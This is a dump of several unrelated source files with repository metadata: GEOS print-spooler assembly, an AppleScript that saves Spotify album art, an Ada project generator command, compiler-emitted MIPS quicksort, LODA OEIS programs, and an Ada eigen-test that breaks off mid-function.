_DUAL_THREADED_PRINTING done: .leave ret ; Let the user decide what we should do threadCreateError: pop di, bx ; restore data call AllocDeviceQueueError jnc tryCreateThread ; try again if user so desires jmp done AllocDeviceQueue endp idata ends QueueManagement segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AllocDeviceQueueLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocate a device queue chunk (but not the thread) PASS: *ds:si - JobInfoStruct to be inserted into new queue RETURN: es:di - new QueueInfo structure ds:si - passed JobInfo structure bx - handle of allocated queue chunk DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 9/ 4/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AllocDeviceQueueLow proc far .enter ; get es -> PrintQueue too segmov es, ds ; first alloc a chunk to hold the queue info mov cx, size QueueInfo ; need this much space clr al ; no flags call LMemAlloc mov di, ax ; save chunk handle mov di, ds:[di] ; ds:di -> queue info chunk ; now that we're done with the LMemReAlloc, dereference the ; JobInfoStruct handle mov si, ds:[si] ; dereference JIS handle ; init the queue info ; copy the device name first. then the port info. SBCS < mov cx, MAX_DEVICE_NAME_SIZE / 2 ; copy the whole buffer> DBCS < mov cx, MAX_DEVICE_NAME_SIZE ; copy the whole buffer> add si, JIS_info.JP_deviceName ; set pointer to name add di, QI_device ; set up destination ptr rep movsw SBCS < sub si, MAX_DEVICE_NAME_SIZE + JIS_info.JP_deviceName> SBCS < sub di, MAX_DEVICE_NAME_SIZE + QI_device > DBCS < sub si, MAX_DEVICE_NAME_SIZE*(size wchar) + JIS_info.JP_deviceName> DBCS < sub di, MAX_DEVICE_NAME_SIZE*(size wchar) + QI_device > mov cx, size PrintPortInfo ; copy the whole buffer add si, JIS_info.JP_portInfo ; set pointer to name add di, QI_portInfo ; set up destination ptr rep movsb sub si, size PrintPortInfo + JIS_info.JP_portInfo sub di, size PrintPortInfo + QI_portInfo cmp ds:[si].JIS_info.JP_portInfo.PPI_type, PPT_CUSTOM jne clearOtherVars ; For a custom port, specify a unique CPP_unit so the job ; notification has something to send out that identifies the ; queue. push ds segmov ds, dgroup, cx mov cx, ds:[customQueueID] inc cx xchg cx, ds:[customQueueID] pop ds mov es:[di].QI_portInfo.PPI_params.PP_custom.CPP_unit, cx clearOtherVars: clr cx mov es:[di].QI_curJob, cx ; clear the other variables mov es:[di].QI_fileHan, cx mov {word} es:[di].QI_filePos, cx mov {word} es:[di].QI_filePos+2, cx mov es:[di].QI_curPage, cx mov es:[di].QI_curPhysPg, cx mov es:[di].QI_numPhysPgs, cx mov es:[di].QI_next, cx ; this will be the last in line mov es:[di].QI_thread, cx ; no thread yet mov es:[di].QI_error, SI_KEEP_GOING ; init to no error if _DUAL_THREADED_PRINTING mov es:[di].QI_printThreadInfo, cx endif ; now insert the queue into the queue chain cmp ds:[PQ_firstQueue], 0 ; is this the first one ? jne followQueues ; no, follow the chain mov ds:[PQ_firstQueue], ax ; store chunk handle ; queue is on list, bump the number we have queueInserted: inc ds:[PQ_numQueues] ; now we have one more mov bx, ax ; return queue handle in bx .leave ret ; follow the queue chain and insert this one at the end followQueues: mov bx, ds:[PQ_firstQueue] ; get chunk handle to first mov bx, ds:[bx] ; get pointer to it EC < mov cx, ds:[PQ_numQueues] ; search this many > findEndLoop: cmp ds:[bx].QI_next, 0 ; is this the end ? jz foundEnd ; yes, done looping mov bx, ds:[bx].QI_next ; no, get the next link mov bx, ds:[bx] ; dereference next link NEC < jmp findEndLoop ; assume it's ok for prod > EC < loop findEndLoop > EC < ERROR SPOOL_INVALID_QUEUE_LIST ; something is wrong > ; ok, found the end of the chain. Put ours in. foundEnd: mov ds:[bx].QI_next, ax ; put in our handle jmp queueInserted ; and continue AllocDeviceQueueLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AllocDeviceQueueError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Display an error to the user if a print thread cannot be created. CALLED BY: AllocDeviceQueue() PASS: BX = QueueInfo chunk handle RETURN: Carry = Clear (try again) BX = preserved - or - Carry = Set (abort queue creation) BX = 0 DESTROYED: CX, DX, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 9/ 4/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AllocDeviceQueueError proc far .enter ; Put up a box and make the user decide what to do. mov cx, SERROR_CANT_ALLOC_BITMAP ; this gives a good message clr dx ; no queue yet call SpoolErrorBox ; put up a box TestUserStandardDialogResponses \ SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS cmp ax, IC_OK ; if affirmative, do it again je done ; carry = clear ; the user wants to cancel. De-allocate the queue and exit ; unlink the queue from the queue chain. then free the chunk. mov_tr ax, bx ; ax <- queue handle dec ds:[PQ_numQueues] ; one less queue jnz moreThanOneQueue ; handle if more than one mov ds:[PQ_firstQueue], 0 ; null head queue pointer freeQueue: call LMemFree ; free the queue clr bx ; queue handle = 0 stc done: .leave ret ; more than one queue going. find the one to unlink. moreThanOneQueue: mov bx, ds:[PQ_firstQueue] ; get pointer to first delSearchLoop: mov bx, ds:[bx] ; dereference handle cmp ax, ds:[bx].QI_next ; is it the next one je foundDelQ ; found queue to delete mov bx, ds:[bx].QI_next ; follow the chain EC < tst bx ; valid queue handle ? > EC < ERROR_Z SPOOL_INVALID_QUEUE_LIST > jmp delSearchLoop foundDelQ: mov si, ax mov si, ds:[si] mov si, ds:[si].QI_next mov ds:[bx].QI_next, si ; stuff new link jmp freeQueue AllocDeviceQueueError endp QueueManagement ends
applescript/update_art_spotify.scpt
adamseadub/atom-phonograph
1
4221
<reponame>adamseadub/atom-phonograph tell application "Finder" set current_path to container of container of (path to me) as alias set current_path to (current_path as text) & ".tmp:" set current_path to POSIX path of current_path end tell tell application "Spotify" try if player state is not stopped then set albumUrl to (get artwork url of current track) end if do shell script "curl -f '" & albumUrl & "' -o " & ((current_path) & "spotify.png") end try end tell
src/gen-commands-project.adb
Letractively/ada-gen
0
15646
----------------------------------------------------------------------- -- gen-commands-project -- Project creation command for dynamo -- Copyright (C) 2011, 2012, 2013, 2014 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Directories; with Ada.Text_IO; with Gen.Artifacts; with GNAT.Command_Line; with GNAT.OS_Lib; with Util.Log.Loggers; with Util.Strings.Transforms; package body Gen.Commands.Project is use Util.Log; Log : constant Loggers.Logger := Loggers.Create ("Gen.Commands.Project"); -- ------------------------------ -- Generator Command -- ------------------------------ function Get_Name_From_Email (Email : in String) return String; -- ------------------------------ -- Get the user name from the email address. -- Returns the possible user name from his email address. -- ------------------------------ function Get_Name_From_Email (Email : in String) return String is Pos : Natural := Util.Strings.Index (Email, '<'); begin if Pos > 0 then return Email (Email'First .. Pos - 1); end if; Pos := Util.Strings.Index (Email, '@'); if Pos > 0 then return Email (Email'First .. Pos - 1); else return Email; end if; end Get_Name_From_Email; -- ------------------------------ -- Execute the command with the arguments. -- ------------------------------ procedure Execute (Cmd : in Command; Generator : in out Gen.Generator.Handler) is pragma Unreferenced (Cmd); use GNAT.Command_Line; Web_Flag : aliased Boolean := False; Tool_Flag : aliased Boolean := False; Ado_Flag : aliased Boolean := False; Gtk_Flag : aliased Boolean := False; begin -- If a dynamo.xml file exists, read it. if Ada.Directories.Exists ("dynamo.xml") then Generator.Read_Project ("dynamo.xml"); else Generator.Set_Project_Property ("license", "apache"); Generator.Set_Project_Property ("author", "unknown"); Generator.Set_Project_Property ("author_email", "<EMAIL>"); end if; -- Parse the command line loop case Getopt ("l: ? -web -tool -ado -gtk") is when ASCII.NUL => exit; when '-' => if Full_Switch = "-web" then Web_Flag := True; elsif Full_Switch = "-tool" then Tool_Flag := True; elsif Full_Switch = "-ado" then Ado_Flag := True; elsif Full_Switch = "-gtk" then Gtk_Flag := True; end if; when 'l' => declare L : constant String := Util.Strings.Transforms.To_Lower_Case (Parameter); begin Log.Info ("License {0}", L); if L = "apache" then Generator.Set_Project_Property ("license", "apache"); elsif L = "gpl" then Generator.Set_Project_Property ("license", "gpl"); elsif L = "gpl3" then Generator.Set_Project_Property ("license", "gpl3"); elsif L = "mit" then Generator.Set_Project_Property ("license", "mit"); elsif L = "bsd3" then Generator.Set_Project_Property ("license", "bsd3"); elsif L = "proprietary" then Generator.Set_Project_Property ("license", "proprietary"); else Generator.Error ("Invalid license: {0}", L); Generator.Error ("Valid licenses: apache, gpl, gpl3, mit, bsd3, proprietary"); return; end if; end; when others => null; end case; end loop; if not Web_Flag and not Ado_Flag and not Tool_Flag and not Gtk_Flag then Web_Flag := True; end if; declare Name : constant String := Get_Argument; Arg2 : constant String := Get_Argument; Arg3 : constant String := Get_Argument; begin if Name'Length = 0 then Generator.Error ("Missing project name"); Gen.Commands.Usage; return; end if; if Util.Strings.Index (Arg2, '@') > Arg2'First then Generator.Set_Project_Property ("author_email", Arg2); if Arg3'Length = 0 then Generator.Set_Project_Property ("author", Get_Name_From_Email (Arg2)); else Generator.Set_Project_Property ("author", Arg3); end if; elsif Util.Strings.Index (Arg3, '@') > Arg3'First then Generator.Set_Project_Property ("author", Arg2); Generator.Set_Project_Property ("author_email", Arg3); elsif Arg3'Length > 0 then Generator.Error ("The last argument should be the author's email address."); Gen.Commands.Usage; return; end if; Generator.Set_Project_Property ("is_web", Boolean'Image (Web_Flag)); Generator.Set_Project_Property ("is_tool", Boolean'Image (Tool_Flag)); Generator.Set_Project_Property ("is_ado", Boolean'Image (Ado_Flag)); Generator.Set_Project_Property ("is_gtk", Boolean'Image (Gtk_Flag)); Generator.Set_Project_Name (Name); Generator.Set_Force_Save (False); if Ado_Flag then Gen.Generator.Generate_All (Generator, Gen.Artifacts.ITERATION_TABLE, "project-ado"); elsif Gtk_Flag then Gen.Generator.Generate_All (Generator, Gen.Artifacts.ITERATION_TABLE, "project-gtk"); else Gen.Generator.Generate_All (Generator, Gen.Artifacts.ITERATION_TABLE, "project"); end if; Generator.Save_Project; declare use type GNAT.OS_Lib.String_Access; Path : constant GNAT.OS_Lib.String_Access := GNAT.OS_Lib.Locate_Exec_On_Path ("autoconf"); Args : GNAT.OS_Lib.Argument_List (1 .. 0); Status : Boolean; begin if Path = null then Generator.Error ("The 'autoconf' tool was not found. It is necessary to " & "generate the configure script."); Generator.Error ("Install 'autoconf' or launch it manually."); else Ada.Directories.Set_Directory (Generator.Get_Result_Directory); Log.Info ("Executing {0}", Path.all); GNAT.OS_Lib.Spawn (Path.all, Args, Status); if not Status then Generator.Error ("Execution of {0} failed", Path.all); end if; end if; end; end; end Execute; -- ------------------------------ -- Write the help associated with the command. -- ------------------------------ procedure Help (Cmd : in Command; Generator : in out Gen.Generator.Handler) is pragma Unreferenced (Cmd, Generator); use Ada.Text_IO; begin Put_Line ("create-project: Create a new Ada Web Application project"); Put_Line ("Usage: create-project [-l apache|gpl|gpl3|mit|bsd3|proprietary] [--web] [--tool]" & "[--ado] [--gtk] NAME [AUTHOR] [EMAIL]"); New_Line; Put_Line (" Creates a new AWA application with the name passed in NAME."); Put_Line (" The application license is controlled with the -l option. "); Put_Line (" License headers can use either the Apache, the MIT license, the BSD 3 clauses"); Put_Line (" license, the GNU licenses or a proprietary license."); Put_Line (" The author's name and email addresses are also reported in generated files."); New_Line; Put_Line (" --web Generate a Web application (the default)"); Put_Line (" --tool Generate a command line tool"); Put_Line (" --ado Generate a database tool operation for ADO"); Put_Line (" --gtk Generate a GtkAda project"); end Help; end Gen.Commands.Project;
C0Compiler/mips.asm
hanayashiki/C0CompilerForVS2010
4
27397
.data const_str_26: .asciiz " " .text j main_22 nop # quick_sort_0: quick_sort_0: # PROLOG quick_sort; sw $8 -204($29) sw $9 -208($29) sw $10 -212($29) sw $11 -216($29) sw $12 -220($29) sw $13 -224($29) sw $14 -228($29) sw $15 -232($29) sw $16 -236($29) sw $17 -240($29) sw $18 -244($29) sw $19 -248($29) sw $20 -252($29) sw $21 -256($29) sw $22 -260($29) sw $23 -264($29) sw $24 -268($29) sw $25 -272($29) sw $31 -276($29) # get param global: array_end lw $23 -12($29) # %t0 = array_head >= array_end; # fetch %t0 @ $16 global # load array_head lw $8 -8($29) # fetch array_head @ $8 # fetch array_end @ $23 global slt $1 $8 $23 xori $16 $1 1 # if == 0 go to: %t0 if_false_1; # fetch %t0 @ $16 global beq $16 $0 if_false_1 nop # RET; lw $8 -204($29) lw $9 -208($29) lw $10 -212($29) lw $11 -216($29) lw $12 -220($29) lw $13 -224($29) lw $14 -228($29) lw $15 -232($29) lw $16 -236($29) lw $17 -240($29) lw $18 -244($29) lw $19 -248($29) lw $20 -252($29) lw $21 -256($29) lw $22 -260($29) lw $23 -264($29) lw $24 -268($29) lw $25 -272($29) lw $31 -276($29) jr $31 nop # GOTO if_end_2; j if_end_2 nop # if_false_1: if_false_1: # if_end_2: if_end_2: # flag = 0; # fetch flag @ $20 global addiu $20 $0 0 # j = array_end; # fetch j @ $19 global # fetch array_end @ $23 global addiu $19 $23 0 # GOTO for_block_5; j for_block_5 nop # for_condition_3: for_condition_3: # if != go to: flag 0 for_end_4; # fetch flag @ $20 global addiu $1 $0 0 bne $20 $1 for_end_4 nop # for_block_5: for_block_5: # %t2 = global_array[j]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t2 @ $17 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 lw $17 0($1) # %t4 = global_array[array_head]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t4 @ $18 global # load array_head lw $9 -8($29) # fetch array_head @ $9 sll $1 $9 2 addu $1 $1 $8 lw $18 0($1) # %t5 = %t2 < %t4; # fetch %t5 @ $16 global # fetch %t2 @ $17 global # fetch %t4 @ $18 global slt $16 $17 $18 # if == 0 go to: %t5 if_false_6; # fetch %t5 @ $16 global beq $16 $0 if_false_6 nop # flag = 1; # fetch flag @ $20 global addiu $20 $0 1 # GOTO if_end_7; j if_end_7 nop # if_false_6: if_false_6: # if_end_7: if_end_7: # %t6 = j <= array_head; # fetch %t6 @ $16 global # fetch j @ $19 global # load array_head lw $8 -8($29) # fetch array_head @ $8 addiu $1 $19 -1 slt $16 $1 $8 # if == 0 go to: %t6 if_false_8; # fetch %t6 @ $16 global beq $16 $0 if_false_8 nop # flag = 1; # fetch flag @ $20 global addiu $20 $0 1 # GOTO if_end_9; j if_end_9 nop # if_false_8: if_false_8: # if_end_9: if_end_9: # j = j - 1; # fetch j @ $19 global # fetch j @ $19 global addiu $1 $0 1 subu $19 $19 $1 # GOTO for_condition_3; j for_condition_3 nop # for_end_4: for_end_4: # j = j + 1; # fetch j @ $19 global # fetch j @ $19 global addiu $19 $19 1 # i = array_head + 1; # fetch i @ $18 global # load array_head lw $8 -8($29) # fetch array_head @ $8 addiu $18 $8 1 # GOTO for_block_12; j for_block_12 nop # for_condition_10: for_condition_10: # %t9 = i <= j; # fetch %t9 @ $16 global # fetch i @ $18 global # fetch j @ $19 global addiu $1 $18 -1 slt $16 $1 $19 # if == 0 go to: %t9 for_end_11; # fetch %t9 @ $16 global beq $16 $0 for_end_11 nop # for_block_12: for_block_12: # %t11 = global_array[i]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t11 @ $16 global # fetch i @ $18 global sll $1 $18 2 addu $1 $1 $8 lw $16 0($1) # %t13 = global_array[array_head]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t13 @ $17 global # load array_head lw $9 -8($29) # fetch array_head @ $9 sll $1 $9 2 addu $1 $1 $8 lw $17 0($1) # %t14 = %t11 > %t13; # fetch %t14 @ $20 global # fetch %t11 @ $16 global # fetch %t13 @ $17 global slt $20 $17 $16 # if == 0 go to: %t14 if_false_13; # fetch %t14 @ $20 global beq $20 $0 if_false_13 nop # %t22 = global_array[i]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t22 @ $20 global # fetch i @ $18 global sll $1 $18 2 addu $1 $1 $8 lw $20 0($1) # %t18 = global_array[j]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t18 @ $17 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 lw $17 0($1) # global_array[i] = %t18; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t18 @ $17 global # fetch i @ $18 global sll $1 $18 2 addu $1 $1 $8 sw $17 0($1) # save global_array # global_array[j] = %t22; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t22 @ $20 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 sw $20 0($1) # save global_array # flag#1 = 0; # fetch flag#1 @ $16 global addiu $16 $0 0 # j = array_end; # fetch j @ $19 global # fetch array_end @ $23 global addiu $19 $23 0 # GOTO for_block_17; j for_block_17 nop # for_condition_15: for_condition_15: # if != go to: flag#1 0 for_end_16; # fetch flag#1 @ $16 global addiu $1 $0 0 bne $16 $1 for_end_16 nop # for_block_17: for_block_17: # %t24 = global_array[j]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t24 @ $17 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 lw $17 0($1) # %t26 = global_array[array_head]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t26 @ $21 global # load array_head lw $9 -8($29) # fetch array_head @ $9 sll $1 $9 2 addu $1 $1 $8 lw $21 0($1) # %t27 = %t24 < %t26; # fetch %t27 @ $20 global # fetch %t24 @ $17 global # fetch %t26 @ $21 global slt $20 $17 $21 # if == 0 go to: %t27 if_false_18; # fetch %t27 @ $20 global beq $20 $0 if_false_18 nop # flag#1 = 1; # fetch flag#1 @ $16 global addiu $16 $0 1 # GOTO if_end_19; j if_end_19 nop # if_false_18: if_false_18: # if_end_19: if_end_19: # %t28 = j <= array_head; # fetch %t28 @ $17 global # fetch j @ $19 global # load array_head lw $8 -8($29) # fetch array_head @ $8 addiu $1 $19 -1 slt $17 $1 $8 # if == 0 go to: %t28 if_false_20; # fetch %t28 @ $17 global beq $17 $0 if_false_20 nop # flag#1 = 1; # fetch flag#1 @ $16 global addiu $16 $0 1 # GOTO if_end_21; j if_end_21 nop # if_false_20: if_false_20: # if_end_21: if_end_21: # j = j - 1; # fetch j @ $19 global # fetch j @ $19 global addiu $1 $0 1 subu $19 $19 $1 # GOTO for_condition_15; j for_condition_15 nop # for_end_16: for_end_16: # j = j + 1; # fetch j @ $19 global # fetch j @ $19 global addiu $19 $19 1 # GOTO if_end_14; j if_end_14 nop # if_false_13: if_false_13: # if_end_14: if_end_14: # i = i + 1; # fetch i @ $18 global # fetch i @ $18 global addiu $18 $18 1 # GOTO for_condition_10; j for_condition_10 nop # for_end_11: for_end_11: # %t31 = global_array[array_head]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t31 @ $22 global # load array_head lw $9 -8($29) # fetch array_head @ $9 sll $1 $9 2 addu $1 $1 $8 lw $22 0($1) # %t33 = global_array[j]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t33 @ $20 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 lw $20 0($1) # global_array[array_head] = %t33; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t33 @ $20 global # load array_head lw $9 -8($29) # fetch array_head @ $9 sll $1 $9 2 addu $1 $1 $8 sw $20 0($1) # save global_array # global_array[j] = %t31; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t31 @ $22 global # fetch j @ $19 global sll $1 $19 2 addu $1 $1 $8 sw $22 0($1) # save global_array # PRINT_INT array_head; addiu $2 $0 1 # load array_head lw $9 -8($29) # fetch array_head @ $9 addiu $4 $9 0 syscall # %t38 = j - 1; # fetch %t38 @ $21 global # fetch j @ $19 global addiu $1 $0 1 subu $21 $19 $1 # PRINT_INT %t38; addiu $2 $0 1 # fetch %t38 @ $21 global addiu $4 $21 0 syscall # PRINT_CHAR '\n?'; addiu $2 $0 11 addiu $4 $0 10 syscall # %t39 = j + 1; # fetch %t39 @ $17 global # fetch j @ $19 global addiu $17 $19 1 # PRINT_INT %t39; addiu $2 $0 1 # fetch %t39 @ $17 global addiu $4 $17 0 syscall # PRINT_INT array_end; addiu $2 $0 1 # fetch array_end @ $23 global addiu $4 $23 0 syscall # PRINT_CHAR '\n?'; addiu $2 $0 11 addiu $4 $0 10 syscall # %t42 = j - 1; # fetch %t42 @ $16 global # fetch j @ $19 global addiu $1 $0 1 subu $16 $19 $1 # PUSH array_head; # load array_head lw $9 -8($29) # fetch array_head @ $9 sw $9 -284($29) # fetch %t42 @ $16 global sw $16 -288($29) # CALL quick_sort; addiu $29 $29 -276 jal quick_sort_0 nop addiu $29 $29 276 # %t44 = j + 1; # fetch %t44 @ $16 global # fetch j @ $19 global addiu $16 $19 1 # PUSH %t44; # fetch %t44 @ $16 global sw $16 -284($29) # fetch array_end @ $23 global sw $23 -288($29) # CALL quick_sort; addiu $29 $29 -276 jal quick_sort_0 nop addiu $29 $29 276 # EPILOG; lw $8 -204($29) lw $9 -208($29) lw $10 -212($29) lw $11 -216($29) lw $12 -220($29) lw $13 -224($29) lw $14 -228($29) lw $15 -232($29) lw $16 -236($29) lw $17 -240($29) lw $18 -244($29) lw $19 -248($29) lw $20 -252($29) lw $21 -256($29) lw $22 -260($29) lw $23 -264($29) lw $24 -268($29) lw $25 -272($29) lw $31 -276($29) jr $31 nop # main_22: main_22: # PROLOG main; sw $8 -104($29) sw $9 -108($29) sw $10 -112($29) sw $11 -116($29) sw $12 -120($29) sw $13 -124($29) sw $14 -128($29) sw $15 -132($29) sw $16 -136($29) sw $17 -140($29) sw $18 -144($29) sw $19 -148($29) sw $20 -152($29) sw $21 -156($29) sw $22 -160($29) sw $23 -164($29) sw $24 -168($29) sw $25 -172($29) sw $31 -176($29) # global_array[0] = 6; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $9 $0 6 # fetch 6 @ $9 sw $9 0($8) # save global_array # global_array[1] = 5; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $10 $0 5 # fetch 5 @ $10 sw $10 4($8) # save global_array # global_array[2] = 4; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $11 $0 4 # fetch 4 @ $11 sw $11 8($8) # save global_array # global_array[3] = 3; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $12 $0 3 # fetch 3 @ $12 sw $12 12($8) # save global_array # global_array[4] = 2; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $13 $0 2 # fetch 2 @ $13 sw $13 16($8) # save global_array # global_array[5] = 1; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $14 $0 1 # fetch 1 @ $14 sw $14 20($8) # save global_array # global_array[6] = 6; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $15 $0 6 # fetch 6 @ $15 sw $15 24($8) # save global_array # global_array[7] = 5; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $14 $0 5 # fetch 5 @ $14 sw $14 28($8) # save global_array # global_array[8] = 4; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $13 $0 4 # fetch 4 @ $13 sw $13 32($8) # save global_array # global_array[9] = 3; # load global_array addiu $8 $28 0 # fetch global_array @ $8 addiu $11 $0 3 # fetch 3 @ $11 sw $11 36($8) # save global_array # PUSH 0; addiu $1 $0 0 sw $1 -184($29) addiu $1 $0 9 sw $1 -188($29) # CALL quick_sort; addiu $29 $29 -176 jal quick_sort_0 nop addiu $29 $29 176 # i = 0; # fetch i @ $16 global addiu $16 $0 0 # GOTO for_block_25; j for_block_25 nop # for_condition_23: for_condition_23: # %t68 = i < 10; # fetch %t68 @ $17 global # fetch i @ $16 global addiu $1 $0 10 slti $17 $16 10 # if == 0 go to: %t68 for_end_24; # fetch %t68 @ $17 global beq $17 $0 for_end_24 nop # for_block_25: for_block_25: # %t70 = global_array[i]; # load global_array addiu $8 $28 0 # fetch global_array @ $8 # fetch %t70 @ $17 global # fetch i @ $16 global sll $1 $16 2 addu $1 $1 $8 lw $17 0($1) # PRINT_INT %t70; addiu $2 $0 1 # fetch %t70 @ $17 global addiu $4 $17 0 syscall # PRINT_CHAR '\n?'; addiu $2 $0 11 addiu $4 $0 10 syscall # PRINT_STR const_str_26; addiu $2 $0 4 la $4 const_str_26 syscall # PRINT_CHAR '\n?'; addiu $2 $0 11 addiu $4 $0 10 syscall # i = i + 1; # fetch i @ $16 global # fetch i @ $16 global addiu $16 $16 1 # GOTO for_condition_23; j for_condition_23 nop # for_end_24: for_end_24: # EPILOG; j __exit__ nop __exit__: addiu $2 $0 10 syscall
programs/oeis/049/A049716.asm
neoneye/loda
22
172191
; A049716: a(n) = 2*n + 1 - prevprime(2*n + 1). ; 1,2,2,2,4,2,2,4,2,2,4,2,4,6,2,2,4,6,2,4,2,2,4,2,4,6,2,4,6,2,2,4,6,2,4,2,2,4,6,2,4,2,4,6,2,4,6,8,2,4,2,2,4,2,2,4,2,4,6,8,10,12,14,2,4,2,4,6,2,2,4,6,8,10,2,2,4,6,2,4,6,2,4,2,4,6,2,4,6,2,2,4,6,8,10,2,2,4,2,2 mul $0,2 seq $0,49711 ; a(n) = n - prevprime(n).
oeis/221/A221146.asm
neoneye/loda-programs
11
2834
; A221146: Table read by antidiagonals: (m+n) - (m XOR n). ; Submitted by <NAME> ; 0,0,0,0,2,0,0,0,0,0,0,2,4,2,0,0,0,4,4,0,0,0,2,0,6,0,2,0,0,0,0,0,0,0,0,0,0,2,4,2 seq $0,4198 ; Table of x AND y, where (x,y) = (0,0),(0,1),(1,0),(0,2),(1,1),(2,0),... mul $0,2
linear_algebra/tridiag_tst_1.adb
jscparker/math_packages
30
11319
-- Test Eigendecomposition of real valued square matrices. with Ada.Numerics.Generic_elementary_functions; with Tridiagonal; with Test_Matrices; with Text_IO; use Text_IO; procedure tridiag_tst_1 is type Real is digits 15; --type Real is digits 18; --Desired_Size_Of_Matrix : constant := 2291; --Desired_Size_Of_Matrix : constant := 1024; --Desired_Size_Of_Matrix : constant := 478; --Desired_Size_Of_Matrix : constant := 254; Desired_Size_Of_Matrix : constant := 136; --Desired_Size_Of_Matrix : constant := 87; --Desired_Size_Of_Matrix : constant := 95; pragma Assert (Desired_Size_Of_Matrix < 2**24 and Desired_Size_Of_Matrix > 1); -- Next: make sure Matrix_Storage_Size is never odd, and never a power of 2. -- -- This doesn't help for small matrices (Size < 128 on some machines). -- -- But odd sizes and power of 2 sizes are a performance disaster on certain -- processors (when the matrix is too large for certain cache sizes). -- Lapack, compiled by gfortran, seems to have similar problems. type Unsigned_32 is mod 2**32; Padding_0 : constant Unsigned_32 := 2 + Desired_Size_Of_Matrix mod 2; Storage_0 : constant Unsigned_32 := Padding_0 + Desired_Size_Of_Matrix; Power_of_2_Tst : constant Unsigned_32 := Storage_0 and (Storage_0 - 1); More_Padding : constant Unsigned_32 := 2 * (1 / (1 + Power_of_2_Tst)); -- Power_of_2_Tst = 0 iff Storage = 2**n. More_Padding = 2 iff Storage = 2**n Matrix_Storage_Size : constant Integer := Integer (Storage_0 + More_Padding); -- the test matrix is square-shaped matrix on: Index x Index. -- eg Hilbert's matrix is a square matrix with unique elements on the range -- Index'First .. Index'Last. However, you have the option or using any -- diagonal sub-block of the matrix defined by Index x Index subtype Index is Integer range 0 .. Matrix_Storage_Size-1; Starting_Col : constant Index := Index'First; Final_Col : constant Index := Starting_Col + Desired_Size_Of_Matrix - 1; -- You have the option or using any diagonal sub-block -- of the matrix defined by Index x Index. Since it's square, the -- corners of this diagonal sub-block are defined by the 2 numbers -- defined above, Starting_Col and Final_Col. type Matrix is array(Index, Index) of Real; pragma Convention (Fortran, Matrix); -- use Convention Fortran. Over twice as fast as Ada convention. package Tridiag is new Tridiagonal (Real => Real, Index => Index, A_Matrix => Matrix); -- Create a package of test matrices: package Square_Matrices is new Test_Matrices (Real, Index, Matrix); use Square_Matrices; package rio is new Float_IO(Real); use rio; --subtype Real_e is Real; -- general case, works fine type Real_e is digits 18; -- 18 ok on intel package Math_e is new Ada.Numerics.Generic_Elementary_Functions (Real_e); use Math_e; type Matrix_e is array(Index, Index) of Real_e; Min_Exp : constant Integer := Real'Machine_Emin - Real'Machine_Emin/32; -------------------- -- Frobenius_Norm -- -------------------- function Frobenius_Norm (A : in Matrix_e; Starting_Col : in Index; Final_Col : in Index) return Real_e is Min_Allowed_Real : constant Real_e := 2.0**Min_Exp; Max_A_Val : Real_e := +0.0; Sum, Scaling, tmp : Real_e := +0.0; begin Max_A_Val := +0.0; for Row in Starting_Col .. Final_Col loop for Col in Starting_Col .. Final_Col loop if Max_A_Val < Abs A(Row, 